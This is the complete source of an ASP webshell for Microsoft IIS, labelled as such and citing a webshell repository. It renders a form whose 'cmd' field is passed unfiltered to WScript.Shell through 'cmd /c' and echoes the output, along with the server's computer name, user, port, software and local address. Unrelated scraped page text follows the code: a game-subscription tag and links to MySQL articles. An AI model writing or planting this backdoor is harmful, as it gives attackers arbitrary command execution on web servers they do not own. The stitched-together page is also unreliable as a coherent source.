<!-- ASP Webshell Working on latest iis Referance :- https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script http://www.w3schools.com/asp/ --> <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getcommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %> <HTML> <BODY> <FORM action="" method="GET"> <input type="text" name="cmd" size=45 value="<%= szCMD %>"> <input type="submit" value="Run"> </FORM> <PRE> <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> <%Response.Write(Request.ServerVariables("server_name"))%> <p> <b>The server's port:</b> <%Response.Write(Request.ServerVariables("server_port"))%> </p> <p> <b>The server's software:</b> <%Response.Write(Request.ServerVariables("server_software"))%> </p> <p> <b>The server's local address:</b> <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%> </p> <br> </BODY> </HTML>
关键词标签:Xbox Game Pass
相关阅读 独立开发者视角:Xbox Game Pass助力独立团队保持良好状态MySQL数据库外键知识详解MySQL数据库线程缓冲池详解MySQL数据库创建线程常用数据库JDBC连接写法大全Mysql 主从数据库同步
热门文章 10款MySQL数据库客户端图形界面管理工具推荐MySQL常用维护管理工具Linux VPS/服务器上轻松导入、导出MySQL数据Silverlight中连接MySQL数据库实例详解
时间:10-17
时间:12-18
时间:01-27
时间:08-11
时间:10-17
人气排行 10款MySQL数据库客户端图形界面管理工具推荐MySQL数据库启动失败1067进程意外终止的解决办法总结Mysql 1045错误解决办法MySQL服务器进程CPU占用100%解决办法MySQL导出导入命令的用例MySQL连接字符串的实际操作步骤汇总MySQL无法启动、无法停止各种解决方法总结三种常用的MySQL建表语句
查看所有0条评论>>